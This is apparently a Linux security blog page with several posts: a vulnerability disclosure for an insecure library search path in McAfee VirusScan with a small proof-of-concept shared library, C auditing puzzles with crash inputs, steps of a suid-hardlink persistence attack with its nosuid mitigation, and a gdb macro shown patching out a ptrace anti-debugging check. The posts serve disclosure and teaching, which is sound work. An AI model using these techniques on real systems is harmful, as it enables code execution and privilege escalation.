Skip navigation.

taviso

linux, programming and security

Posts tagged with "Linux"

Month of McAfee Bugs?

,

Well, I did post a rant here about McAfee after being frustrated with their security team for not solving an issue reported in December, but since posting it they have promised to solve the problem within a few weeks. So, I decided to remove this post.

I'll post an update here when they make their patch available.

*phew* Problem solved.

I'm not a big fan of the anti virus industry, apart from selling the ridiculous idea of blacklisting malicious content, trying to improve security by giving attackers hundreds of thousands more lines of code to explore is just naive. You should question any vendor who is trying to sell you something with the promise that adding more code will improve your security, good security is always inversely proportional to the amount of code exposed to attackers. This is why firewalls are good security; they reduce the amount of code attackers can reach. This is why IDS and anti virus are bad security; they increase the amount of code attackers can reach.

(note: I'm sure I'll get some responses from people who make their money peddling this crap, or who have bought into the marketing from these vendors explaining what an idiot I am).

McAfee, however, have really managed to annoy me. Some readers may recall CVE-2006-6474, an insecure DT_RPATH in McAfee VirusScan. We reported this issue to McAfee in December, and they still havnt issued a fix to their suckers^Wcustomers. What would be funny (if it wasn't causing me work), is that a company that makes its money analyzing executables (which presumably requires hiring at least a few engineers who understand how they work) are having great difficulty understanding this simple bug.

The problem is that when McAfee compiled their product, they specified that the DT_RPATH should include the working directory.

$ objdump -p uvscan | grep RPATH
  RPATH       /lib:/usr/lib:/usr/local/lib:.


Note the . at the end, this would have been specified by something like

$ gcc -Wl,-rpath,/lib:/usr/lib:/usr/local/lib:. -o uvscan ...



This tells the dynamic linker that it should search for required libraries in the working directory. Therefore, if a file matching one of the NEEDED tags can be found in the working directory, the dynamic loader will open it and execute the code from within it.

This is very easy to exploit, here is an example.

$ cat uvscan.c
#include 
void __attribute__((constructor)) init()
{
        fprintf(stderr, "owned.n");
        return;
}
$ gcc -fPIC -shared -o liblnxfv.so.4 uvscan.c
$ uvscan liblnxfv.so.4
owned.



Using this attack on automated systems that use uvscan would be trivially easy, or simply convince a user to download the file, or tar archive containing the file.

eg:

$ tar -zxf cool-thing.tar.gz
$ cd cool-thing
$ uvscan *
owned



The solution is very simple, although they didnt realise it, they didnt mean to specify ".", they meant "$ORIGIN", which is a shortcut interpreted by ld.so meaning the location of the binary. To fix the problem, they simply have to make that change to their build scripts, a simple one line fix.

When I explained this to McAfee, their response was:


McAfee disagrees with your statement that this is a "high" severity issue, as the privilege of the executed code is not raised from the privileges of the executing user.



I don't even know where to begin explaining whats wrong with this statement. Firstly, the privilege is most definitely raised, from "remote attacker" without any privileges to "executing user". How can a company that makes their money blacklisting malicious executables not understand that when a remote attacker sends you a malicious file, executing that file without intending to is most definitely a "privilege escalation" attack?

It's incomprehensible how moronic this company is.

Since this issue has been reported, at least two or three times a month I'm contacted by one of their customers asking me to explain the problem or how they can workaround it. I emailed McAfee and asked them if they want any help fixing this issue, as I'm sick of doing their technical support for them, but they never responded.

In protest of this, I'm thinking of starting a Month of McAfee Bugs (MOMcB) project, which perhaps will get their attention and force them to start taking security problems in their products seriously. Modeled on the same format of previous MO?B projects, I would report a new flaw in McAfee VirusScan everyday for a month, including an exploit (if it wouldn't be too time consuming). Finding these flaws is ridiculously easy, I've already found several using fuzzing (I assume most (if not all) will also affect their windows product).

Here you go, you can have this one for free :wink:

http://dev.gentoo.org/~taviso/vstestcase.003

$ uvscan --secure vstestcase.003
Segmentation fault


Feel free to try it on windows and let me know if it works.

Unfortunately their scanner is way too slow to make fuzzing feasible, presumably due to expensive licensing and self-checking. Luckily, the actual scanning takes place in a DSO they ship with their product, so all I had to do was reverse engineer their API and make a quick frontend more suitable for fuzzing.

This wasn't easy, they have a very bizarre API that involves passing stacks of tags around. I eventually understood enough to make it work.

So a minimal uvscan replacement would look something like this...

     /* intialise the scanner */
     state = t_init(0x00070008);
     state = t_push(state, 0x0064000C, sizeof(void *), nop);
 
     /* datfile locations */
     state = t_push(state, 0x0068000C, sizeof(scandat), scandat);
     state = t_push(state, 0x0069000C, sizeof(namesdat), namesdat);
     state = t_push(state, 0x006A000C, sizeof(cleandat), cleandat);
 
     AVInitialise(t_get(state), buf, buf->len, 0, 0);

     /* first dword of buf is now a state cookie */
     o = buf;

     /* construct scan instructions */
     object = t_init(0x000D0008);

     /* callback thats passed results */
     object = t_push(object, 0x0064000C, sizeof(void *), results);
     
     /* scan options */
     object = t_push(object, 0x01F6000C, 0, 0);
     object = t_push(object, 0x0193000C, 0, 0);
     object = t_push(object, 0x0190000C, 0, 0);
     object = t_push(object, 0x0191000C, 0, 0);
     object = t_push(object, 0x0250000C, 0, 0);
     object = t_push(object, 0x01f6000C, 0, 0);
     object = t_push(object, 0x0194000C, 0, 0);
     object = t_push(object, 0x0194000C, 0, 0);
     object = t_push(object, 0x01F6000C, 0, 0);
     object = t_push(object, 0x0005000C, 0, 0);
     
     /* target */
     object = t_push(object, 0x00CB000C, strlen(target) + 1, target);

     AVScanObject(*(o + 1), t_get(object), tmp, strlen(target) + 1, NULL);


Once I had this working, writing a quick fuzzer around it was trivial. I'll write another blog post about how I reverse engineered it, with some example code snippets.

So, what does the community think, I can easily find enough bugs for a MOMcB, should I start one? Once the Project is over, I wouldd release the fuzzer I've written so that anyone interested can find even more bugs. If anyone is interested in getting involved, or would like a copy of the fuzzer to start their own project, let me know.

Auditing puzzle

, ,

Here is an interesting auditing question, try to make the following short C program crash.

#include <string.h>
#include <stdio.h>
#include <locale.h>
#include <ctype.h>

int main(int argc, char **argv)
{
    char buf[128];
    int len;

    /* initialise the buffer */
    memset(buf, '\0', sizeof(buf));

    /* setup locale for toupper() */
    setlocale(LC_ALL, "");

    /* check an argument was specified */
    if (argc >= 2) {
        /* get the first 10 characters */
        len = snprintf(buf, sizeof(buf), "you entered: %.10s", argv[1]);

        /* check for non-printing characters */
        while (len--)
            buf[len] = isprint(buf[len]) ? toupper(buf[len]) : '?';

        /* output string */
        fprintf(stdout, "%s\n", buf);
    }

    return 0;
}

Scroll down for discussion. .
.
.
.
.
.
.
.
.
.
.
.
.
.
.

snprintf() wont overrun the `buf` buffer, so specifying too much data wont cause a crash

$ ./a.out `perl -e 'print "A"x"1024"'`; echo $?
YOU ENTERED: AAAAAAAAAA
0

However, the return code from snprintf() isnt checked, and it can return -1 for a number of reasons, including malloc() failing, or invalid multibyte characters in the string. If any of the users of this application are using a utf8 locale, they could be vulnerable to a security issue.

$ LC_ALL=en_GB.utf8 ./a.out `printf "\x80foobar"`; echo $?
Segmentation fault
139

Its worth remembering that a number of common libraries will call setlocale() for you in their constructors, so even if you didnt intend to, it could be called for you. Using the return code from snprintf() or sprintf() without testing for failure could result in multiple security vulnerabilities, so its always worth checking even if you dont modify the locale.

Partitioning schemes and security

,

I regularly see questions on irc about partitioning schemes from users concerned about security. While the main concern seems to be about resource exhaustion attacks (for example, consuming all available data blocks or inodes) this problem is better solved using filesystem quotas than complex partitioning schemes.

However there are some security problems that can be addressed using correct partitioning. The fundamental rule is that anywhere that users can create files must be on a seperate partition, mounted using the nosuid mount option.

The reason for this is that there is a very simple attack against any system where users can create files on a filesystem where the suid bit is honoured. The attack scenario goes something like this.

  • Malicious user uses find(1) to locate all the suid and sgid binaries on the system.

    $ find /usr/bin -type f -perm -4000 -or -perm -2000

  • Malicious user creates hardlinks to all programs he finds in a hidden directory (in /tmp, /home, or anywhere else he can create files)
    $ mkdir ~/.suids
    $ ln /bin/su ~/.suids

    side note: its a well known practical joke to create a hardlink to /bin/su in /tmp called r00tk1t or something and wait for your admin to find it, inexperienced admins will invariably freak out

  • Now he just waits.

Lets say 4 months later, some vulnerability researcher discovers a local root vulnerability in one of these suid programs, the administrator dutifully updates the application as soon as the advisory is published and now believes he is safe. But this isnt the case.

Of course, a file is only removed when all links to it have been removed, and this malicious user has kept links to it in his home directory. Now he can develop an exploit in his own time, and the administrator will have no idea how he accomplished this, believing he patched this vulnerability n days ago.

So how can you solve this problem? For users who for some reason can only create a single partition, this can be solved using bind mounting (thanks to rob from inversepath who first mentioned this trick to me).

# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp

And the same to other directories where users have write permissions.

NOTE: I dont know why, but the nosuid flag doesnt apply to bind mounts without a remount. Smells like a bug to me.

Ideally, you would use seperate partitions, which would perhaps avoid a race condition where boot scripts havnt performed the bind and a user has managed to log in (or execute a cron job, etc). But this is a nice workaround if this is impossible. The grsec patch also offers some restrictions on linking that prevents attacks like this.

For portage managed files It would be nice if we removed the suid/sgid bits _before_ removing or upgrading suid/sgid files. this would leave any links created by users useless. But this seems unlikely (everytime i've suggested it there hasnt been much interest).

There are lots of other reasons you may want to restrict /tmp, for example mounting with noexec tends to thwart lots of automated attacks against webapps. But these are all a matter of personal preference.

Quick Security Auditing Puzzle

, , ,

Here's an interesting problem, how can I make this simple program crash? (assume IA32)

#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
    int a, b;

    if (argc != 3)
        return 1;

    a = atoi(argv[1]);
    b = atoi(argv[2]);

    return b ? a / b : 0;
}


scroll down for the solution.

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.


The code correctly checks for divide by zero, so attempting this wont work:

$ ./a.out 42 0; echo $?
0
$


But not every invalid operation has been checked, while every programmer knows to avoid dividing by zero, very few are aware that it's also illegal to divide INT_MIN by -1. The reason is obvious, on a twos complement system |INT_MIN| is one greater than INT_MAX, so the result of the operation simply cannot fit in an integer.

This little known fact is almost guaranteed to crash any system that uses integer division on user controlled values as so few developers check for this unusual case.

$ ./a.out -2147483648 -1; echo $?
Floating point exception (core dumped)
136


scanmem - a ptrace() toy

,

I had an odd requirement for a project I'm correctly working on, I needed to isolate the position of an integer in a executing binary. I had no source, no symbols, and due to the nature of the program, analysis was difficult.

It didnt take long to write a tool to do this, and it was kinda fun, so I'm releasing it. I doubt there are many practical applications, but hey, its still interesting to play with. It currently has a lot of limitations (eg, can only search for dwords), but maybe I'll complete it at some point. You can download it here

update: bumped to version 0.02, applied patch from a reader and included a quick manpage.

SystemG Liberated!

,

For years I was a big fan of the xftree file manager from the xfce project, however it went through a dramatic metamorphosis between the 3.x and 4.x branches. While it was still a nice piece of software, it no longer suited me and unfortunately development on the 3.x branch gradually stagnated. I still used it for a long time, and maintained a few patches for bugs I had run across over the years.

About 18 months ago I ran across SystemG, an awesome graphical file manager. It was simple, well designed and powerful. Just one problem, it was proprietary, making me feel a little guilty using it. I just noticed today that the awesome guys at newplanet software have released SystemG and the underlying JX application framework under free software compatible licenses, this is excellent news! I'll begin packaging their software into portage later today, and hopefully expose a few more users to this excellent (and free!) file manager.

(oh, and from the online documentation it sounds like the developers are fvwm users as well! :smile: )

fvwm 2.5.16 going stable

, ,

I'm about to request arch teams mark fvwm 2.5.16 stable, it's been in portage for some time now and I've received very few bugs about it. I'm a big fan of fvwm, every facet of it is highly configurable and it's powerful enough to replicate practically any feature from any other window manager, I cant understand why anyone uses anything else :wink:

I have a screenshot of my fvwm desktop here. The panels are all made using FvwmButtons, a powerful fvwm module that can be used to create arbitrary desktop panels, I wrote a tutorial to get started creating simple panels using FvwmButtons on the forums here.

There are some older screenshots here, and a video I made a couple of years ago using x11-misc/xvidcap here.

Trace-p crackme

,

I wrote a crackme over the weekend and submitted it to crackmes.de, it's called trace-p for reasons that will be obvious to anyone who examines it :smile: The crackme focuses on anti-debugging and anti disassembler tricks rather than complex validation routines, so if you can defeat them it will probably not take you long to solve.

You can download the crackme here, if you can solve it (you need to write a keygen) you can submit your solution. I've decided to release the source code once a solution has been published in the hope of encouraging more people to write crackmes for linux.

Executable Patching with GDB

, ,

Patching code using gdb is no fun at all, if you need to do anything more complicated than just nop'ing a few instructions the standard procedure is to write the code, assemble it, objdump it then use ht or biew or similar to do the patching. You can patch code within gdb, but it's so long winded I'm sure few people bother unless they just need to modify one or two opcodes.

Someone mentioned that gentoo's skel .gdbinit file contained a handy macro `assemble` that would print opcodes to stdout, I normally use gdb vanilla so hadnt tried it before, but after checking it out, it's a great idea.

gdb> nasm_assemble 
Hit Ctrl-D to start, type code to assemble, hit Ctrl-D when done.
It is recommended to start with
        BITS 32
Note that this command uses NASM (Intel syntax) to assemble.
BITS 32
xor eax, eax
rdtsc
xor eax, edx
rol eax, 0x4
 31 c0 0f 31 31 d0 c1 c0 04

Unfortunately it has a number of problems:

  • It's buggy, you have to hit ctrl-d before starting, then again to finish, this is just confusing.
  • You have to enter "BITS 32" before entering any code, if you forget, you have to start again.
  • You can't see which instructions correspond to which bytes in the output.
  • It's not very gdb like, which normally allows you to finish by entering 'end' and uses readline.
  • You still have to patch the code manually using the bytes it outputs.


I rewrote the macro to fix all these issues. Here's an example of it in use.

$ gdb -q
(gdb) file true
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) tb main
Breakpoint 1 at 0x80489b9: file true.c, line 62.
(gdb) r
main (argc=1, argv=0xbfffea64) at true.c:62
(gdb) x/6i $pc
0x80489b9 <main+21>:    mov    eax,DWORD PTR [ebx]
0x80489bb <main+23>:    mov    DWORD PTR [esp],0x6
0x80489c2 <main+30>:    mov    DWORD PTR [esp+4],0x8049e43
0x80489ca <main+38>:    mov    ds:0x804b884,eax
0x80489cf <main+43>:    call   0x80486e0 <setlocale@plt>
0x80489d4 <main+48>:    mov    DWORD PTR [esp],0x8048a79
(gdb) help assemble
Assemble instructions using nasm.
Type a line containing "end" to indicate the end.
If an address is specified, insert instructions at that address.
If no address is specified, assembled instructions are printed to stdout.
(gdb) assemble 
Instructions will be written to stdout.
Type instructions, one per line.
End with a line saying just "end".
>xor eax, eax
>inc eax
>end
00000000  31C0              xor eax,eax
00000002  40                inc eax
(gdb) assemble $pc
Instructions will be written to 0x80489b9.
Type instructions, one per line.
End with a line saying just "end".
>xor eax, eax
>inc eax
>mov ebx, 42
>int 0x80
>end
(gdb) x/6i $pc
0x80489b9 <main+21>:    xor    eax,eax
0x80489bb <main+23>:    inc    eax
0x80489bc <main+24>:    mov    ebx,0x2a
0x80489c1 <main+29>:    int    0x80
0x80489c3 <main+31>:    inc    esp
0x80489c4 <main+32>:    and    al,0x4
(gdb) c

Program exited with code 052.

This is really great for patching routines on the fly, if a hostile binary is using the classic ptrace(PTRACE_TRACEME, ...) trick to detect debuggers using ptrace(), patching it out is now as simple as:

$ cat test.c 
#include <unistd.h>
#include <sys/ptrace.h>
#include <stdio.h>

int main(int argc, char **argv)
{
   if (ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1) {
       fprintf(stdout, "debugger present.\n");
       return 1;
   }

   fprintf(stdout, "no debugger present.\n");

   return 0;
}
$ gdb -q
(gdb) file ptrace
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) r
debugger present.

Program exited with code 01.
(gdb) set write
(gdb) file ptrace
(gdb) info functions ptrace
0x080482f4  ptrace@plt
(gdb) assemble 0x080482f4
Instructions will be written to 0x80482f4.
Type instructions, one per line.
End with a line saying just "end".
>xor eax, eax
>ret
>end
(gdb) set write off
(gdb) file ptrace
(gdb) r
no debugger present.

Program exited normally.
(gdb) q

You can use convenience variables (eg registers), symbol names or actual addresses as an argument, and the address is checked for validity before prompting for input.

$ gdb -q
(gdb) assemble 0x12345
Cannot access memory at address 0x12345
(gdb) q


The prompt is supposed to be identical to the multiline prompt gdb uses, it also uses readline so you can use standard readline bindings, and you no longer have to use BITS 32. I'm really pleased with how it worked out, hopefuly somebody else will find it useful. Here's the full code of the macro:

define assemble
 # dont enter routine again if user hits enter
 dont-repeat
 if ($argc)
  if (*$arg0 = *$arg0)
    # check if we have a valid address by dereferencing it,
    # if we havnt, this will cause the routine to exit.
  end
  printf "Instructions will be written to %#x.\n", $arg0
 else
  printf "Instructions will be written to stdout.\n"
 end
 printf "Type instructions, one per line.\n"
 printf "End with a line saying just \"end\".\n"
 if ($argc)
  # argument specified, assemble instructions into memory
  # at address specified.
  shell nasm -f bin -o /dev/stdout /dev/stdin \
    <<< "$( echo "BITS 32"; while read -ep '>' r && test "$r" != end; \
                do echo -E "$r"; done )" | hexdump -ve \
        '1/1 "set *((unsigned char *) $arg0 + %#2_ax) = %#02x\n"' \
            > ~/.gdbassemble
  # load the file containing set instructions
  source ~/.gdbassemble
  # all done.
  shell rm -f ~/.gdbassemble
 else
  # no argument, assemble instructions to stdout
  shell nasm -f bin -o /dev/stdout /dev/stdin \
    <<< "$( echo "BITS 32"; while read -ep '>' r && test "$r" != end; \
                do echo -E "$r"; done )" | ndisasm -i -b32 /dev/stdin
 end
end
document assemble
Assemble instructions using nasm.
Type a line containing "end" to indicate the end.
If an address is specified, insert instructions at that address.
If no address is specified, assembled instructions are printed to stdout.
Use the pseudo instruction "org ADDR" to set the base address.
end

x48 calculator

I'm about to request arch teams mark x48 stable, an awesome hp48 calculator emulator. If you own an hp48 calculator you can use the utilities accompanying the package to dump the firmware from it and use x48 for any purpose, otherwise you will have to use the firmware image provided by hp that is only available for non-commerical use. If you've never had the opportunity to use an hp48, you should definitely give it a try.

There's a screenshot of x48 in action here.
November 2009
S M T W T F S
October 2009December 2009
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30